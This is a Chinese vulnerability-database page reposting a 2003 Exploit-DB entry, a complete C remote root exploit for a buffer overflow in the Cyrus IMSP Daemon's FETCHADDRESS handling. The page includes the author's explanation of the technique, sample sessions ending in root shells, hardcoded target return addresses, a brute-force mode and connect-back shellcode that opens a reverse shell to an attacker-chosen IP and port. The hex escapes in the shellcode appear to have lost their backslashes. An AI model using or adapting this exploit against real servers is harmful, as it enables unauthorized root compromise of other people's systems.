Cyrus IMSP Daemon 1.x – Remote Buffer Overflow

Cyrus IMSP Daemon 1.x – Remote Buffer Overflow

漏洞ID 1054297 漏洞类型
发布时间 2003-12-15 更新时间 2003-12-15
图片[1]-Cyrus IMSP Daemon 1.x – Remote Buffer Overflow-安全小百科CVE编号 N/A
图片[2]-Cyrus IMSP Daemon 1.x – Remote Buffer Overflow-安全小百科CNNVD-ID N/A
漏洞平台 Linux CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/23441
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/9227/info

A problem has been identified in the Cyrus IMSP Daemon implementation when handling certain types of requests. Because of this, it may be possible for a remote attacker to gain unauthorized access to a system using the vulnerable software. 

/*
** Cyrus IMSPD Remote Root Exploit
** -------------------------------
**
** Bug found by: Felix Lindner <[email protected]>
** Exploit coded by: Carlos Barros <barros [at] barrossecurity d0t com>
**
** Exploitation techinique:
**
** As said by Felix Lindner, the bug lies in the "abook_dbname" function. To cause
** the overrun, we must call this function with a long "name" variable. It can be
** acomplished by supplying the FETCHADDRESS command. This command takes 2 parameters.
** The first one is exactly the "name" var. So, to cause the overflow, we must just
** send the FETCHADDRESS command with an overlong argument.
** To cause the overflow is easy, but using it to execute arbitrary commands is not
** so easy. It is because IMSPd filters all characters that is grather than 0x80.
** Well, put the shellcode is not the problem, cause IMSPd does not filter the args
** after the second one, so, the Shellcode goes in the third arg. The problem is that
** the address of the buffer where the shellcode is placed contains chars grather than
** 0x80 and we can not supply this addr. Well, how it can be done??? After some time
** of research, I found that the address of the buffer where the "name" var is placed
** does not contains these characters (at least on my box). So, I manange my buffer
** to overwrite the EIP with this address. But there is another problem: I can not write
** my shellcode here. Again, after some time, I got the solution. Looking at the stack
** after the overflow, I found the address of the buffer where the shellcode was placed.
** So, I coded a Jumpcode to get this addr from the stack, add some offset to the shellcode
** and jump there. There was a dificult task once the RET opcode is 0xc3 and I can not
** place the code in the buffer. To circumvent it. I overflowned the EIP and the next
** four bytes with the same value. This way, when I get the control, I know where I am.
** With this ability, I can take this value, add some offset and make and ADD at this
** location to turn an 0x45 in an 0xc3, RET.
** Well, this is how I have acomplished this task. As you can see, there two possibilities
** of success. You can be lucky and found a system that the address os shellcode does not
** have invalid chars or the name addr too. Anyone of this will do the task.
**
** Well, that is all. Sorry for my poor english (I am brazilian), I am tired to correct it.
** I hope one can improve this code to be more reliable, but for now, it is not so BAD.
**
** Screenshot:
**
**  Hardcoded:
**
** SpikE@VermE imsp]$ ./a.out -t 0 -h localhost
**
** ==[ Cyrus IMSPd Remote Root Exploit ]==
**
** *** Target plataform      : IMSPd 1.7 - Red Hat Linux release 8.0 (Psyche)
** *** Target host           : localhost
** *** Target port           : 406
** *** Bind to port          : 31337
** *** Target RET            : 0x08065368
**
** [+] Connected
** [+] Creating evil buffer
** [+] Sending evil buffer
** [+] Verifying ...
** [+] Yeap.. It is a root shell
**
** Linux VermE.com.br 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux
** uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
** cat /etc/issue
** Red Hat Linux release 8.0 (Psyche)
** Kernel r on an m
**
** exit
** [SpikE@VermE imsp]$
**
**  Bruteforce:
**
** [SpikE@VermE imsp]$ ./a.out -h localhost -b
**
** ==[ Cyrus IMSPd Remote Root Exploit ]==
**
** *** Target host           : localhost
** *** Target port           : 406
** *** Bind to port          : 31337
** *** Bruteforce mode start : 0x08065357
**
** [+] Using RetAddr = 0x08065357
** [+] Connected
** [+] Creating evil buffer
** [+] Sending evil buffer
** [+] Verifying ...
**
** [+] Using RetAddr = 0x0806535b
** [+] Connected
** [+] Creating evil buffer
** [+] Sending evil buffer
** [+] Verifying ...
**
** [+] Using RetAddr = 0x0806535f
** [+] Connected
** [+] Creating evil buffer
** [+] Sending evil buffer
** [+] Verifying ...
**
** [+] Using RetAddr = 0x08065363
** [+] Connected
** [+] Creating evil buffer
** [+] Sending evil buffer
** [+] Verifying ...
**
** [+] Using RetAddr = 0x08065367
** [+] Connected
** [+] Creating evil buffer
** [+] Sending evil buffer
** [+] Verifying ...
**
** [+] Using RetAddr = 0x0806536b
** [+] Connected
** ** [+] Creating evil buffer
** [+] Sending evil buffer
** [+] Verifying ...
** [+] Yeap.. It is a root shell
**
** Linux VermE.com.br 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux
** uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
** cat /etc/issue
** Red Hat Linux release 8.0 (Psyche)
** Kernel r on an m
**
** exit
** [SpikE@VermE imsp]$
**
**
*/

#include <getopt.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <errno.h>
#include <netinet/in.h>
#include <stdio.h>

/*--< Prototypes >--*/
void Usage(char *);
void fatal(char *);
int  ConectToHost(char *,int);
char *CreateEvilBuffer(int);
int VerifyXpl(char *, int);
void doHack(int);
int GetNextAddr(int);

/*--< Defines >--*/
#define	DEFAULT_PORT		406
#define DEFAULT_START_ADDRESS	0x8061001
#define BRUTEFORCE		1
#define TARGET			2
#define STDIN 			0
#define STDOUT 			1
#define	ROOT_PORT		31337
#define PORT_OFFSET		29

/*--< From IMSP Source >--*/
char im_table[256] = {
    0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 0, 2, 2,
    2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
    2, 7, 0, 7, 7, 6, 7, 7, 2, 2, 6, 7, 7, 7, 7, 7,
    7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7,
    7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7,
    7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 0, 7, 7, 7,
    7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7,
    7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 2, 7, 7, 7, 2,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
};
#define isqstr(c)  (im_table[(unsigned char)(c)]&2)
/*--< END >--*/

struct
{
	char	*Name;
	int	Retaddr;
}Targets[] =
	{
		"IMSPd 1.7 - Red Hat Linux release 8.0 (Psyche)",
		0x8065368,

		"IMSPd 1.6a3 - Red Hat Linux release 8.0 (Psyche)",
		0x8061d78,
                
		"IMSPd 1.5a6 - Red Hat Linux release 8.0 (Psyche)",
                0x8061738,
		// Finish
		0,
		0
	};

// Shellcode by eSDee of Netric
char Shellcode[] =
	"x31xc0x31xdbx31xc9x51xb1"
	"x06x51xb1x01x51xb1x02x51"
	"x89xe1xb3x01xb0x66xcdx80"
	"x89xc2x31xc0x31xc9x51x51"
	"x68x41x42x43x44x66x68xb0"
	"xefxb1x02x66x51x89xe7xb3"
	"x10x53x57x52x89xe1xb3x03"
	"xb0x66xcdx80x31xc9x39xc1"
	"x74x06x31xc0xb0x01xcdx80"
	"x31xc0xb0x3fx89xd3xcdx80"
	"x31xc0xb0x3fx89xd3xb1x01"
	"xcdx80x31xc0xb0x3fx89xd3"
	"xb1x02xcdx80x31xc0x31xd2"
	"x50x68x6ex2fx73x68x68x2f"
	"x2fx62x69x89xe3x50x53x89"
	"xe1xb0x0bxcdx80x31xc0xb0"
	"x01xcdx80";

// Jumpcode bY Carlos Barros
char JmpToShellcode[] =
	"x41"				// nop like
	"x41"				// nop like
	"x41"				// nop like
	"x41"				// nop like
	"x41"				// nop like
	"x41"				// nop like
	"x41"				// nop like

	"x58"				// pop %eax
	"x6ax7e"			// push $0x7e
	"x5b"				// pop %ebx
	"x01x58x23"			// add %ebx,0x22(%eax)
	"x58"
	"x58"				// pop %eax
	"x58"				// pop %eax
	"x58"				// pop %eax
	"x58"				// pop %eax
	"x58"				// pop %eax
	"x58"				// pop %eax
	"x58"				// pop %eax
	"x58"				// pop %eax
	"x6ax7e"			// push $0x7e
	"x58"				// pop %eax
	"x01x44x24x04"		// add %eax,0x4(%esp,1)
	"x01x44x24x04"		// add %eax,0x4(%esp,1)
	"x58"				// pop %eax

	"x45"				// ret
	"x45"				// ret
	"x45"				// ret
	"x45"				// ret
	"x45"				// ret
	"x45"				// ret
	"x45"				// ret
	"x45"				// ret

        "x41"                          // nop like
        "x41"                          // nop like
        "x41"                          // nop like
        "x41"                          // nop like
        "x41"                          // nop like
        "x41"                          // nop like
        "x41"                          // nop like

        "x58"                          // pop %eax
        "x6ax7e"                      // push $0x7e
        "x5b"                          // pop %ebx
        "x01x58x23"                  // add %ebx,0x22(%eax)
        "x58"
        "x58"                          // pop %eax
        "x58"                          // pop %eax
        "x58"                          // pop %eax
        "x58"                          // pop %eax
        "x58"                          // pop %eax
        "x58"                          // pop %eax
        "x58"                          // pop %eax
        "x58"                          // pop %eax
        "x6ax7e"                      // push $0x7e
        "x58"                          // pop %eax
        "x01x44x24x04"              // add %eax,0x4(%esp,1)
        "x01x44x24x04"              // add %eax,0x4(%esp,1)
        "x58"                          // pop %eax

        "x45"                          // ret
        "x45"                          // ret
        "x45"                          // ret
        "x45"                          // ret
        "x45"                          // ret
        "x45"                          // ret
        "x45"                          // ret
        "x45";                         // ret

struct STACK
{
	char	name[132];
	int	eip;
	int	ID;
	int	Name;
	int	Acl;
};

int main(int argc, char **argv)
{
	extern  char		*optarg;
	extern  int		optind;
		char		opt;
		char		*Host = NULL;
		int		Port = DEFAULT_PORT;
		int		Flags = 0;
		int		StartAddress = DEFAULT_START_ADDRESS;
		int		TargetNumber = 0;
		int		Sock,rootSock,i;
		char		*EvilBuffer;
		int		CBackPort = 0;
		char 		Addr[20];
		int		IP0 = 0,IP1 = 0,IP2 = 0,IP3 = 0;
		char		*IPPtr,*CBackPortPtr;
		unsigned short *PortPtr = (unsigned short *)(Shellcode+39);

	fprintf(stdout,"n==[ Cyrus IMSPd 1.7 Remote Root Exploit ]==nn");

	// Process arguments
	while ( (opt = getopt(argc,argv,"h:t:p:ba:r:i:")) != EOF)
	{
		switch(opt)
		{
			case 'i':
				if( sscanf(optarg,"%d.%d.%d.%d" ,&IP3,&IP2,&IP1,&IP0) != 4)
					Usage(argv[0]);
				IPPtr = optarg;
			break;
			case 'r':
				CBackPort = atoi(optarg);
				if(!CBackPort) Usage(argv[0]);
				CBackPortPtr = optarg;
			break;
			case 'h':
				Host = optarg;
			break;
			case 'p':
				Port = atoi(optarg);
				if(!Port) Usage(argv[0]);
			break;
			case 'b':
				if(Flags == 0)
					Flags = BRUTEFORCE;
				else
					Usage(argv[0]);
			break;
			case 'a':
				if( sscanf(optarg,"0x%lx",&StartAddress) != 1)
					Usage(argv[0]);
			break;
			case 't':
				TargetNumber = atoi(optarg);
				if(Flags == 0)
					Flags = TARGET;
				else
					Usage(argv[0]);
			break;
			default: Usage(argv[0]);
			break;
		}
	}
	if(Host == NULL || Flags == 0) Usage(argv[0]);
	if(CBackPort == 0) Usage(argv[0]);
	if(IP0 ==0 || IP1 == 0 || IP2 == 0 || IP3 == 0) Usage(argv[0]);

	// Verify target
	for(i=0;;i++)
		if(Targets[i].Name == 0) break;
	if(--i<TargetNumber) Usage(argv[0]);

	// Update shellcode
	Shellcode[33] = IP3;
	Shellcode[34] = IP2;
	Shellcode[35] = IP1;
	Shellcode[36] = IP0;
	*PortPtr = htons((unsigned short)CBackPort);

	if(Flags == TARGET)
		fprintf(stdout,"*** Target plataform      : %sn",Targets[TargetNumber].Name);
	fprintf(stdout,"*** Target host           : %sn",Host);
	fprintf(stdout,"*** Target port           : %un",Port);
	fprintf(stdout,"*** IP to connect back    : %u.%u.%u.%un" ,IP3,IP2,IP1,IP0);
	fprintf(stdout,"*** Port to connect back  : %un",CBackPort);

	if(Flags == TARGET)
		fprintf(stdout,"*** Target RET            : %#010xnn",Targets[TargetNumber].Retaddr);
	else
		fprintf(stdout,"*** Bruteforce mode start : %#010xnn",StartAddress);

	switch(Flags)
	{
		case TARGET:
			Sock = ConectToHost(Host,Port);
			if(Sock == -1) fatal("Could not connect");
			else fprintf(stdout,"[+] Connectedn");

			fprintf(stdout,"[+] Creating evil buffern");
			EvilBuffer = CreateEvilBuffer(Targets[TargetNumber].Retaddr);

			fprintf(stdout,"[+] Sending evil buffern");

			send(Sock,EvilBuffer,strlen(EvilBuffer),0);
			sleep(1);

			fprintf(stdout,"[+] Wait for root shell on your netcatnn");
		break;
		default:
			for(;;)
			{
				fprintf(stdout,"[+] Using RetAddr = %#010xn",StartAddress);

				Sock = ConectToHost(Host,Port);
				if(Sock == -1) 
				{
					// To avoid stop bruteforce
					fprintf(stdout,"[-] Error. Restarting ...nn");
					sleep(1);
					sprintf(Addr,"%#010x",StartAddress);
					execl(argv[0],argv[0],"-h",Host,"-b","-a",Addr,"-i",IPPtr,"-r",CBackPortPtr,0);
				}
				else
				{
					fprintf(stdout,"[+] Connectedn");

					fprintf(stdout,"[+] Creating evil buffern");
					EvilBuffer = CreateEvilBuffer(StartAddress);

					fprintf(stdout,"[+] Sending evil buffern");
					send(Sock,EvilBuffer,strlen(EvilBuffer),0);
					
					sleep(1);
					close(Sock);
					free(EvilBuffer);
					fprintf(stdout,"n");

					StartAddress = GetNextAddr(StartAddress);
				}
			}
		break;
	}

	free(EvilBuffer);
	close(Sock);
}

void Usage(char *Prog)
{
	int i;
	fprintf(stderr,	"Usage: %s -h hostname <options>nn"
			"Options:nn"
			" -t target     : Select the targetn"
			" -p portnumber : Sets a new port numbern"
			" -b            : Bruteforce moden"
			" -a address    : Defines the start address to bruteforce (Format: 0xdeadbeef)n"
			" -i ip         : IP address to connect backn"
			" -r port       : Defines the port to connect backnn"
			"Targets:nn",Prog);

	for(i=0;;i++)
	{
		if(Targets[i].Name != 0)
			fprintf(stderr," [%u] %sn",i,Targets[i].Name);
		else
			break;
	}
	fprintf(stderr,"n");
	exit(1);
}

void fatal(char *ErrorMsg)
{
	fprintf(stderr,"[-] %snn",ErrorMsg);
	exit(1);
}

int ConectToHost(char *Host,int Port)
{
	struct 		sockaddr_in server;
	struct 		hostent *hp;
	int 		s;

	server.sin_family = AF_INET;
	hp = gethostbyname(Host);
	if(!hp) return(-1);

	memcpy(&server.sin_addr,hp->h_addr,hp->h_length);
	server.sin_port = htons(Port);

	s = socket(PF_INET,SOCK_STREAM,0);
	if(connect(s,(struct sockaddr *)&server, sizeof(server)) < 0)
		return(-1);

	return(s);
}

char *CreateEvilBuffer(int Retaddr)
{
	struct STACK	Buffer;
	char		*Ptr = (char *)&Buffer;
	char		NOPs[3000];
	static char	Buf[sizeof(Buffer)+sizeof(NOPs)+sizeof(Shellcode)+100];
	int i;

	memset(&Buffer,0x41,sizeof(Buffer));
	memset(NOPs,0x90,sizeof(NOPs));

	memcpy(Ptr,JmpToShellcode,sizeof(JmpToShellcode)-1);
	Buffer.eip = Retaddr;
	Buffer.ID = Retaddr;
	Buffer.Name = 0x00;

	NOPs[sizeof(NOPs)-1] = 0;

	sprintf(Buf,"SPK FETCHADDRESS "%s" "SPK" %s%srn",(char *)&Buffer,NOPs,Shellcode);
	return(Buf);
}

void doHack(int Sock)
{
	char 		buffer[1024 * 10];
	int 		count;
	fd_set 		readfs;

	write(Sock,"uname -a;idn",12);
	while(1)
	{
		FD_ZERO(&readfs);
		FD_SET(STDIN, &readfs);
		FD_SET(Sock, &readfs);
		if(select(Sock + 1, &readfs, NULL, NULL, NULL) > 0)
		{
			if(FD_ISSET(STDIN, &readfs))
			{
				if((count = read(STDIN, buffer, 1024)) <= 0)
				{
					if(errno == EWOULDBLOCK || errno == EAGAIN)
						continue;
					else
					{
						close(Sock);
						exit(-1);
					}
				}
				write(Sock, buffer, count);
			}
			if(FD_ISSET(Sock, &readfs))
			{
				if((count = read(Sock, buffer, 1024)) <= 0)
				{
					if(errno == EWOULDBLOCK || errno == EAGAIN)
						continue;
					else
					{
						close(Sock);
						exit(-1);
					}
				}
				write(STDOUT, buffer, count);
			}
		}
	}
}
int VerifyXpl(char *Host, int Port)
{
	struct sockaddr_in server;
	struct hostent *hp;
	int s;

	// Create client struct
	server.sin_family = AF_INET;
	hp = gethostbyname(Host);
	if(!hp)
		return(-1);
	memcpy(&server.sin_addr,hp->h_addr,hp->h_length);
	server.sin_port = htons(Port);
	s = socket(PF_INET,SOCK_STREAM,0);

	if(connect(s,(struct sockaddr *)&server, sizeof(server)) < 0)
		return(-1);
	return(s);
}

int GetNextAddr(int Addr)
{
	Addr+=4;
	for(;;)
	{
		if( !isqstr( (Addr & 0x000000FF) ) ) Addr+=4;
		else if( !isqstr( (Addr & 0x0000FF00) >> 8 ) ) Addr+=4;
		else if( !isqstr( (Addr & 0x00FF0000) >> 16 ) ) Addr+=4;
		else if( !isqstr( (Addr & 0xFF000000) >> 24 ) ) Addr+=4;
		else break;
	}
	
	return(Addr);
}

相关推荐: Interactive Story Directory Traversal Vulnerability

Interactive Story Directory Traversal Vulnerability 漏洞ID 1103095 漏洞类型 Input Validation Error 发布时间 2001-07-15 更新时间 2001-07-15 CVE编号…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享